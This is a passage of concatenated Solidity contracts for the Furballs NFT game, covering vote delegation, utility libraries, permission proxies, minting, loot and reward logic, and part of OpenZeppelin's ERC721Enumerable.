uint256 amount
) internal override {
super._beforeTokenTransfer(from, to, amount);
require(from == address(0), "Votes may not be traded.");
/// @notice Differs from `_transferTokens()` to use `delegates` override method to simulate auto-delegation
_moveDelegates(delegates(from), delegates(to), uint96(amount));
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) public {
if (delegatee == address(0)) delegatee = msg.sender;
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(
address delegatee,
uint256 nonce,
uint256 expiry,
uint8 v,
bytes32 r,
bytes32 s
) public {
bytes32 domainSeparator = keccak256(
abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this))
);
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked('\x19\x01', domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), 'Community::delegateBySig: invalid signature');
require(nonce == nonces[signatory]++, 'Community::delegateBySig: invalid nonce');
require(block.timestamp <= expiry, 'Community::delegateBySig: signature expired');
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint256 blockNumber) public view returns (uint96) {
require(blockNumber < block.number, 'Community::getPriorVotes: not yet determined');
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
/// @notice differs from `_delegate()` in `Comp.sol` to use `delegates` override method to simulate auto-delegation
address currentDelegate = delegates(delegator);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
uint96 amount = votesToDelegate(delegator);
_moveDelegates(currentDelegate, delegatee, amount);
}
function _moveDelegates(
address srcRep,
address dstRep,
uint96 amount
) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, 'Community::_moveDelegates: amount underflows');
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, 'Community::_moveDelegates: amount overflows');
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(
address delegatee,
uint32 nCheckpoints,
uint96 oldVotes,
uint96 newVotes
) internal {
uint32 blockNumber = safe32(
block.number,
'Community::_writeCheckpoint: block number exceeds 32 bits'
);
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint256 n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint256 n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(
uint96 a,
uint96 b,
string memory errorMessage
) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(
uint96 a,
uint96 b,
string memory errorMessage
) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal view returns (uint256) {
uint256 chainId;
assembly {
chainId := chainid()
}
return chainId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;
/// @title FurLib
/// @author LFG Gaming LLC
/// @notice Utilities for Furballs
/// @dev Each of the structs are designed to fit within 256
library FurLib {
// Metadata about a wallet.
struct Account {
uint64 created; // First time this account received a furball
uint32 numFurballs; // Number of furballs it currently holds
uint32 maxFurballs; // Max it has ever held
uint16 maxLevel; // Max level of any furball it currently holds
uint16 reputation; // Value assigned by moderators to boost standing
uint16 standing; // Computed current standing
uint8 permissions; // 0 = user, 1 = moderator, 2 = admin, 3 = owner
}
// Key data structure given to clients for high-level furball access (furballs.stats)
struct FurballStats {
uint16 expRate;
uint16 furRate;
RewardModifiers modifiers;
Furball definition;
Snack[] snacks;
}
// The response from a single play session indicating rewards
struct Rewards {
uint16 levels;
uint32 experience;
uint32 fur;
uint128 loot;
}
// Stored data structure in Furballs master contract which keeps track of mutable data
struct Furball {
uint32 number; // Overall number, starting with 1
uint16 count; // Index within the collection
uint16 rarity; // Total rarity score for later boosts
uint32 experience; // EXP
uint32 zone; // When exploring, the zone number. Otherwise, battling.
uint16 level; // Current EXP => level; can change based on level up during collect
uint16 weight; // Total weight (number of items in inventory)
uint64 birth; // Timestamp of furball creation
uint64 trade; // Timestamp of last furball trading wallets
uint64 last; // Timestamp of last action (battle/explore)
uint32 moves; // The size of the collection array for this furball, which is move num.
uint256[] inventory; // IDs of items in inventory
}
// A runtime-calculated set of properties that can affect Furball production during collect()
struct RewardModifiers {
uint16 expPercent;
uint16 furPercent;
uint16 luckPercent;
uint16 happinessPoints;
uint16 energyPoints;
uint32 zone;
}
// For sale via loot engine.
struct Snack {
uint32 snackId; // Unique ID
uint32 duration; // How long it lasts, !expressed in intervals!
uint16 furCost; // How much FUR
uint16 happiness; // +happiness bost points
uint16 energy; // +energy boost points
uint16 count; // How many in stack?
uint64 fed; // When was it fed (if it is active)?
}
// Input to the feed() function for multi-play
struct Feeding {
uint256 tokenId;
uint32 snackId;
uint16 count;
}
uint32 public constant Max32 = type(uint32).max;
uint8 public constant PERMISSION_USER = 1;
uint8 public constant PERMISSION_MODERATOR = 2;
uint8 public constant PERMISSION_ADMIN = 4;
uint8 public constant PERMISSION_OWNER = 5;
uint8 public constant PERMISSION_CONTRACT = 0x10;
uint32 public constant EXP_PER_INTERVAL = 500;
uint32 public constant FUR_PER_INTERVAL = 100;
uint8 public constant LOOT_BYTE_STAT = 1;
uint8 public constant LOOT_BYTE_RARITY = 2;
uint8 public constant SNACK_BYTE_ENERGY = 0;
uint8 public constant SNACK_BYTE_HAPPINESS = 2;
uint256 public constant OnePercent = 1000;
uint256 public constant OneHundredPercent = 100000;
/// @notice Shortcut for equations that saves gas
/// @dev The expression (0x100 ** byteNum) is expensive; this covers byte packing for editions.
function bytePower(uint8 byteNum) internal pure returns (uint256) {
if (byteNum == 0) return 0x1;
if (byteNum == 1) return 0x100;
if (byteNum == 2) return 0x10000;
if (byteNum == 3) return 0x1000000;
if (byteNum == 4) return 0x100000000;
if (byteNum == 5) return 0x10000000000;
if (byteNum == 6) return 0x1000000000000;
if (byteNum == 7) return 0x100000000000000;
if (byteNum == 8) return 0x10000000000000000;
if (byteNum == 9) return 0x1000000000000000000;
if (byteNum == 10) return 0x100000000000000000000;
if (byteNum == 11) return 0x10000000000000000000000;
if (byteNum == 12) return 0x1000000000000000000000000;
return (0x100 ** byteNum);
}
/// @notice Helper to get a number of bytes from a value
function extractBytes(uint value, uint8 startAt, uint8 numBytes) internal pure returns (uint) {
return (value / bytePower(startAt)) % bytePower(numBytes);
}
/// @notice Converts exp into a sqrt-able number.
function expToLevel(uint32 exp, uint32 maxExp) internal pure returns(uint256) {
exp = exp > maxExp ? maxExp : exp;
return sqrt(exp < 100 ? 0 : ((exp + exp - 100) / 100));
}
/// @notice Simple square root function using the Babylonian method
function sqrt(uint32 x) internal pure returns(uint256) {
if (x < 1) return 0;
if (x < 4) return 1;
uint z = (x + 1) / 2;
uint y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
return y;
}
/// @notice Convert bytes into a hex str, e.g., an address str
function bytesHex(bytes memory data) internal pure returns(string memory) {
bytes memory alphabet = "0123456789abcdef";
bytes memory str = new bytes(data.length * 2);
for (uint i = 0; i < data.length; i++) {
str[i*2] = alphabet[uint(uint8(data[i] >> 4))];
str[1 + i*2] = alphabet[uint(uint8(data[i] & 0x0f))];
}
return string(str);
}
function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len;
while (_i != 0) {
k = k-1;
uint8 temp = (48 + uint8(_i - _i / 10 * 10));
bytes1 b1 = bytes1(temp);
bstr[k] = b1;
_i /= 10;
}
return string(bstr);
}
function encode(bytes memory data) internal pure returns (string memory) {
if (data.length == 0) return "";
string memory table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
uint256 encodedLen = 4 * ((data.length + 2) / 3);
string memory result = new string(encodedLen + 32);
assembly {
mstore(result, encodedLen)
let tablePtr := add(table, 1)
let dataPtr := data
let endPtr := add(dataPtr, mload(data))
let resultPtr := add(result, 32)
for {
} lt(dataPtr, endPtr) {
} {
dataPtr := add(dataPtr, 3)
let input := mload(dataPtr)
mstore(
resultPtr,
shl(248, mload(add(tablePtr, and(shr(18, input), 0x3F))))
)
resultPtr := add(resultPtr, 1)
mstore(
resultPtr,
shl(248, mload(add(tablePtr, and(shr(12, input), 0x3F))))
)
resultPtr := add(resultPtr, 1)
mstore(
resultPtr,
shl(248, mload(add(tablePtr, and(shr(6, input), 0x3F))))
)
resultPtr := add(resultPtr, 1)
mstore(
resultPtr,
shl(248, mload(add(tablePtr, and(input, 0x3F))))
)
resultPtr := add(resultPtr, 1)
}
switch mod(mload(data), 3)
case 1 {
mstore(sub(resultPtr, 2), shl(240, 0x3d3d))
}
case 2 {
mstore(sub(resultPtr, 1), shl(248, 0x3d))
}
}
return result;
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.6;
import "../Furballs.sol";
import "./FurLib.sol";
/// @title FurProxy
/// @author LFG Gaming LLC
/// @notice Manages a link from a sub-contract back to the master Furballs contract
/// @dev Provides permissions by means of proxy
abstract contract FurProxy {
Furballs public furballs;
constructor(address furballsAddress) {
furballs = Furballs(furballsAddress);
}
/// @notice Allow upgrading contract links
function setFurballs(address addr) external onlyOwner {
furballs = Furballs(addr);
}
/// @notice Proxied from permissions lookup
modifier onlyOwner() {
require(_permissions(msg.sender) >= FurLib.PERMISSION_OWNER, "OWN");
_;
}
/// @notice Permission modifier for moderators (covers owner)
modifier gameAdmin() {
require(_permissions(msg.sender) >= FurLib.PERMISSION_ADMIN, "GAME");
_;
}
/// @notice Permission modifier for moderators (covers admin)
modifier gameModerators() {
require(_permissions(msg.sender) >= FurLib.PERMISSION_MODERATOR, "MOD");
_;
}
modifier onlyFurballs() {
require(msg.sender == address(furballs), "FBL");
_;
}
/// @notice Generalized permissions flag for a given address
function _permissions(address addr) internal view returns (uint8) {
// User permissions will return "zero" quickly if this didn't come from a wallet.
uint8 permissions = _userPermissions(addr);
if (permissions > 0) return permissions;
if (addr == address(furballs) ||
addr == address(furballs.engine()) ||
addr == address(furballs.furgreement()) ||
addr == address(furballs.governance()) ||
addr == address(furballs.fur())
) {
return FurLib.PERMISSION_CONTRACT;
}
return 0;
}
function _userPermissions(address addr) internal view returns (uint8) {
// Invalid addresses include contracts an non-wallet interactions, which have no permissions
if (addr == address(0)) return 0;
uint256 size;
assembly { size := extcodesize(addr) }
if (addr != tx.origin || size != 0) return 0;
if (addr == furballs.owner()) return FurLib.PERMISSION_OWNER;
if (furballs.isAdmin(addr)) return FurLib.PERMISSION_ADMIN;
if (furballs.isModerator(addr)) return FurLib.PERMISSION_MODERATOR;
return FurLib.PERMISSION_USER;
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.6;
// import "hardhat/console.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "./editions/IFurballEdition.sol";
import "./engines/ILootEngine.sol";
import "./engines/EngineA.sol";
import "./utils/FurLib.sol";
import "./utils/FurDefs.sol";
import "./utils/FurProxy.sol";
import "./utils/Moderated.sol";
import "./utils/Governance.sol";
import "./Fur.sol";
import "./Furgreement.sol";
// import "hardhat/console.sol";
/// @title Furballs
/// @author LFG Gaming LLC
/// @notice Mints Furballs on the Ethereum blockchain
/// @dev https://furballs.com/contract
contract Furballs is ERC721Enumerable, Moderated {
Fur public fur;
IFurballEdition[] public editions;
ILootEngine public engine;
Governance public governance;
Furgreement public furgreement;
// tokenId => furball data
mapping(uint256 => FurLib.Furball) public furballs;
// tokenId => all rewards assigned to that Furball
mapping(uint256 => FurLib.Rewards) public collect;
// The amount of time over which FUR/EXP is accrued (usually 3600=>1hour); used with test servers
uint256 public intervalDuration;
// When play/collect runs, returns rewards
event Collection(uint256 tokenId, uint256 responseId);
// Inventory change event
event Inventory(uint256 tokenId, uint128 lootId, uint16 dropped);
constructor(uint256 interval) ERC721("Furballs", "FBL") {
intervalDuration = interval;
}
// -----------------------------------------------------------------------------------------------
// Public transactions
// -----------------------------------------------------------------------------------------------
/// @notice Mints a new furball from the current edition (if there are any remaining)
/// @dev Limits and fees are set by IFurballEdition
function mint(address[] memory to, uint8 editionIndex, address actor) external {
(address sender, uint8 permissions) = _approvedSender(actor);
require(to.length == 1 || permissions >= FurLib.PERMISSION_MODERATOR, "MULT");
for (uint8 i=0; i<to.length; i++) {
fur.purchaseMint(sender, permissions, to[i], editions[editionIndex]);
_spawn(to[i], editionIndex, 0);
}
}
/// @notice Feeds the furball a snack
/// @dev Delegates logic to fur
function feed(FurLib.Feeding[] memory feedings, address actor) external {
(address sender, uint8 permissions) = _approvedSender(actor);
uint256 len = feedings.length;
for (uint256 i=0; i<len; i++) {
fur.purchaseSnack(sender, permissions, feedings[i].tokenId, feedings[i].snackId, feedings[i].count);
}
}
/// @notice Begins exploration mode with the given furballs
/// @dev Multiple furballs accepted at once to reduce gas fees
/// @param tokenIds The furballs which should start exploring
/// @param zone The explore zone (otherwize, zero for battle mode)
function playMany(uint256[] memory tokenIds, uint32 zone, address actor) external {
(address sender, uint8 permissions) = _approvedSender(actor);
for (uint256 i=0; i<tokenIds.length; i++) {
// Run reward collection
_collect(tokenIds[i], sender, permissions);
// Set new zone (if allowed; enterZone may throw)
furballs[tokenIds[i]].zone = uint32(engine.enterZone(tokenIds[i], zone, tokenIds));
}
}
/// @notice Re-dropping loot allows players to pay $FUR to re-roll an inventory slot
/// @param tokenId The furball in question
/// @param lootId The lootId in its inventory to re-roll
function upgrade(
uint256 tokenId, uint128 lootId, uint8 chances, address actor
) external {
// Attempt upgrade (random chance).
(address sender, uint8 permissions) = _approvedSender(actor);
uint128 up = fur.purchaseUpgrade(_baseModifiers(tokenId), sender, permissions, tokenId, lootId, chances);
if (up != 0) {
_drop(tokenId, lootId, 1);
_pickup(tokenId, up);
}
}
/// @notice The LootEngine can directly send loot to a furball!
/// @dev This allows for gameplay expansion, i.e., new game modes
/// @param tokenId The furball to gain the loot
/// @param lootId The loot ID being sent
function pickup(uint256 tokenId, uint128 lootId) external gameAdmin {
_pickup(tokenId, lootId);
}
/// @notice The LootEngine can cause a furball to drop loot!
/// @dev This allows for gameplay expansion, i.e., new game modes
/// @param tokenId The furball
/// @param lootId The item to drop
/// @param count the number of that item to drop
function drop(uint256 tokenId, uint128 lootId, uint8 count) external gameAdmin {
_drop(tokenId, lootId, count);
}
// -----------------------------------------------------------------------------------------------
// Internal
// -----------------------------------------------------------------------------------------------
function _slotNum(uint256 tokenId, uint128 lootId) internal view returns(uint256) {
for (uint8 i=0; i<furballs[tokenId].inventory.length; i++) {
if (furballs[tokenId].inventory[i] / 256 == lootId) {
return i + 1;
}
}
return 0;
}
/// @notice Remove an inventory item from a furball
function _drop(uint256 tokenId, uint128 lootId, uint8 count) internal {
uint256 slot = _slotNum(tokenId, lootId);
require(slot > 0 && slot <= uint32(furballs[tokenId].inventory.length), "SLOT");
slot -= 1;
uint8 stackSize = uint8(furballs[tokenId].inventory[slot] % 0x100);
if (count == 0 || count >= stackSize) {
// Drop entire stack
uint16 len = uint16(furballs[tokenId].inventory.length);
if (len > 1) {
furballs[tokenId].inventory[slot] = furballs[tokenId].inventory[len - 1];
}
furballs[tokenId].inventory.pop();
count = stackSize;
} else {
stackSize -= count;
furballs[tokenId].inventory[slot] = uint256(lootId) * 0x100 + stackSize;
}
furballs[tokenId].weight -= count * engine.weightOf(lootId);
emit Inventory(tokenId, lootId, count);
}
/// @notice Internal implementation of adding a single known loot item to a Furball
function _pickup(uint256 tokenId, uint128 lootId) internal {
require(lootId > 0, "LOOT");
uint256 slotNum = _slotNum(tokenId, lootId);
uint8 stackSize = 1;
if (slotNum == 0) {
furballs[tokenId].inventory.push(uint256(lootId) * 0x100 + stackSize);
} else {
stackSize += uint8(furballs[tokenId].inventory[slotNum - 1] % 0x100);
require(stackSize < 0x100, "STACK");
furballs[tokenId].inventory[slotNum - 1] = uint256(lootId) * 0x100 + stackSize;
}
furballs[tokenId].weight += engine.weightOf(lootId);
emit Inventory(tokenId, lootId, 0);
}
/// @notice Calculates full reward modifier stack for a furball in a zone.
function _rewardModifiers(
FurLib.Furball memory fb, uint256 tokenId, address ownerContext, uint256 snackData
) internal view returns(FurLib.RewardModifiers memory reward) {
uint16 energy = uint16(FurLib.extractBytes(snackData, FurLib.SNACK_BYTE_ENERGY, 2));
uint16 happiness = uint16(FurLib.extractBytes(snackData, FurLib.SNACK_BYTE_HAPPINESS, 2));
bool context = ownerContext != address(0);
uint32 editionIndex = uint32(tokenId % 0x100);
reward = FurLib.RewardModifiers(
uint16(100 + fb.rarity),
uint16(100 + fb.rarity - (editionIndex < 4 ? (editionIndex * 20) : 80)),
uint16(100),
happiness,
energy,
context ? fb.zone : 0
);
// Engine will consider inventory and team size in zone (17k)
return engine.modifyReward(
fb,
editions[editionIndex].modifyReward(reward, tokenId),
governance.getAccount(ownerContext),
context
);
}
/// @notice Common version of _rewardModifiers which excludes contextual data
function _baseModifiers(uint256 tokenId) internal view returns(FurLib.RewardModifiers memory) {
return _rewardModifiers(furballs[tokenId], tokenId, address(0), 0);
}
/// @notice Ends the current explore/battle and dispenses rewards
/// @param tokenId The furball
function _collect(uint256 tokenId, address sender, uint8 permissions) internal {
FurLib.Furball memory furball = furballs[tokenId];
address owner = ownerOf(tokenId);
// The engine is allowed to force furballs into exploration mode
// This allows it to end a battle early, which will be necessary in PvP
require(owner == sender || permissions >= FurLib.PERMISSION_ADMIN, "OWN");
// Scale duration to the time the edition has been live
if (furball.last == 0) {
uint64 launchedAt = uint64(editions[tokenId % 0x100].liveAt());
require(launchedAt > 0 && launchedAt < uint64(block.timestamp), "PRE");
furball.last = furball.birth > launchedAt ? furball.birth : launchedAt;
}
// Calculate modifiers to be used with this collection
FurLib.RewardModifiers memory mods =
_rewardModifiers(furball, tokenId, owner, fur.cleanSnacks(tokenId));
// Reset the collection for this furball
uint32 duration = uint32(uint64(block.timestamp) - furball.last);
collect[tokenId].fur = 0;
collect[tokenId].experience = 0;
collect[tokenId].levels = 0;
if (mods.zone >= 0x10000) {
// Battle zones earn FUR and assign to the owner
uint32 f = uint32(_calculateReward(duration, FurLib.FUR_PER_INTERVAL, mods.furPercent));
if (f > 0) {
fur.earn(owner, f);
collect[tokenId].fur = f;
}
} else {
// Explore zones earn EXP...
uint32 exp = uint32(_calculateReward(duration, FurLib.EXP_PER_INTERVAL, mods.expPercent));
(uint32 totalExp, uint16 levels) = engine.onExperience(furballs[tokenId], owner, exp);
collect[tokenId].experience = exp;
collect[tokenId].levels = levels;
furballs[tokenId].level += levels;
furballs[tokenId].experience = totalExp;
}
// Generate loot and assign to furball
uint32 interval = uint32(intervalDuration);
uint128 lootId = engine.dropLoot(duration / interval, mods);
collect[tokenId].loot = lootId;
if (lootId > 0) {
_pickup(tokenId, lootId);
}
// Timestamp the last interaction for next cycle.
furballs[tokenId].last = uint64(block.timestamp);
// Emit the reward ID for frontend
uint32 moves = furball.moves + 1;
furballs[tokenId].moves = moves;
emit Collection(tokenId, moves);
}
/// @notice Mints a new furball
/// @dev Recursive function; generates randomization seed for the edition
/// @param to The recipient of the furball
/// @param nonce A recursive counter to prevent infinite loops
function _spawn(address to, uint8 editionIndex, uint8 nonce) internal {
require(nonce < 10, "SUPPLY");
require(editionIndex < editions.length, "ED");
IFurballEdition edition = editions[editionIndex];
// Generate a random furball tokenId; if it fails to be unique, recurse!
(uint256 tokenId, uint16 rarity) = edition.spawn();
tokenId += editionIndex;
if (_exists(tokenId)) return _spawn(to, editionIndex, nonce + 1);
// Ensure that this wallet has not exceeded its per-edition mint-cap
uint32 owned = edition.minted(to);
require(owned < edition.maxMintable(to), "LIMIT");
// Check the current edition's constraints (caller should have checked costs)
uint16 cnt = edition.count();
require(cnt < edition.maxCount(), "MAX");
// Initialize the memory struct that represents the furball
furballs[tokenId].number = uint32(totalSupply() + 1);
furballs[tokenId].count = cnt;
furballs[tokenId].rarity = rarity;
furballs[tokenId].birth = uint64(block.timestamp);
// Finally, mint the token and increment internal counters
_mint(to, tokenId);
edition.addCount(to, 1);
}
/// @notice Happens each time a furball changes wallets
/// @dev Keeps track of the furball timestamp
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override {
super._beforeTokenTransfer(from, to, tokenId);
// Update internal data states
furballs[tokenId].trade = uint64(block.timestamp);
// Delegate other logic to the engine
engine.onTrade(furballs[tokenId], from, to);
}
// -----------------------------------------------------------------------------------------------
// Game Engine & Moderation
// -----------------------------------------------------------------------------------------------
function stats(uint256 tokenId, bool contextual) public view returns(FurLib.FurballStats memory) {
// Base stats are calculated without team size so this doesn't effect public metadata
FurLib.Furball memory furball = furballs[tokenId];
FurLib.RewardModifiers memory mods =
_rewardModifiers(
furball,
tokenId,
contextual ? ownerOf(tokenId) : address(0),
contextual ? fur.snackEffects(tokenId) : 0
);
return FurLib.FurballStats(
uint16(_calculateReward(intervalDuration, FurLib.EXP_PER_INTERVAL, mods.expPercent)),
uint16(_calculateReward(intervalDuration, FurLib.FUR_PER_INTERVAL, mods.furPercent)),
mods,
furball,
fur.snacks(tokenId)
);
}
/// @notice This utility function is useful because it force-casts arguments to uint256
function _calculateReward(
uint256 duration, uint256 perInterval, uint256 percentBoost
) internal view returns(uint256) {
uint256 interval = intervalDuration;
return (duration * percentBoost * perInterval) / (100 * interval);
}
// -----------------------------------------------------------------------------------------------
// Public Views/Accessors (for outside world)
// -----------------------------------------------------------------------------------------------
/// @notice Provides the OpenSea storefront
/// @dev see https://docs.opensea.io/docs/contract-level-metadata
function contractURI() public view returns (string memory) {
return governance.metaURI();
}
/// @notice Provides the on-chain Furball asset
/// @dev see https://docs.opensea.io/docs/metadata-standards
function tokenURI(uint256 tokenId) public view override returns (string memory) {
require(_exists(tokenId));
return string(abi.encodePacked("data:application/json;base64,", FurLib.encode(abi.encodePacked(
editions[tokenId % 0x100].tokenMetadata(
engine.attributesMetadata(tokenId),
tokenId,
furballs[tokenId].number
)
))));
}
// -----------------------------------------------------------------------------------------------
// OpenSea Proxy
// -----------------------------------------------------------------------------------------------
/// @notice Whitelisting the proxy registies for secondary market transactions
/// @dev See OpenSea ERC721Tradable
function isApprovedForAll(address owner, address operator)
override
public
view
returns (bool)
{
return engine.canProxyTrades(owner, operator) || super.isApprovedForAll(owner, operator);
}
/// @notice This is used instead of msg.sender as transactions won't be sent by the original token owner, but by OpenSea.
/// @dev See OpenSea ContentMixin
function _msgSender()
internal
override
view
returns (address sender)
{
if (msg.sender == address(this)) {
bytes memory array = msg.data;
uint256 index = msg.data.length;
assembly {
// Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those.
sender := and(
mload(add(array, index)),
0xffffffffffffffffffffffffffffffffffffffff
)
}
} else {
sender = msg.sender;
}
return sender;
}
// -----------------------------------------------------------------------------------------------
// Configuration / Admin
// -----------------------------------------------------------------------------------------------
function setFur(address furAddress) external onlyAdmin {
fur = Fur(furAddress);
}
function setFurgreement(address furgAddress) external onlyAdmin {
furgreement = Furgreement(furgAddress);
}
function setGovernance(address addr) public onlyAdmin {
governance = Governance(payable(addr));
}
function setEngine(address addr) public onlyAdmin {
engine = ILootEngine(addr);
}
function addEdition(address addr, uint8 idx) public onlyAdmin {
if (idx >= editions.length) {
editions.push(IFurballEdition(addr));
} else {
editions[idx] = IFurballEdition(addr);
}
}
function _isReady() internal view returns(bool) {
return address(engine) != address(0) && editions.length > 0
&& address(fur) != address(0) && address(governance) != address(0);
}
/// @notice Handles auth of msg.sender against cheating and/or banning.
/// @dev Pass nonzero sender to act as a proxy against the furgreement
function _approvedSender(address sender) internal view returns (address, uint8) {
// No sender (for gameplay) is approved until the necessary parts are online
require(_isReady(), "!RDY");
if (sender != address(0) && sender != msg.sender) {
// Only the furgreement may request a proxied sender.
require(msg.sender == address(furgreement), "PROXY");
} else {
// Zero input triggers sender calculation from msg args
sender = _msgSender();
}
// All senders are validated thru engine logic.
uint8 permissions = uint8(engine.approveSender(sender));
// Zero-permissions indicate unauthorized.
require(permissions > 0, "PLR");
return (sender, permissions);
}
modifier gameAdmin() {
(address sender, uint8 permissions) = _approvedSender(address(0));
require(permissions >= FurLib.PERMISSION_ADMIN, "GAME");
_;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol)
pragma solidity ^0.8.0;
import "../ERC721.sol";
import "./IERC721Enumerable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
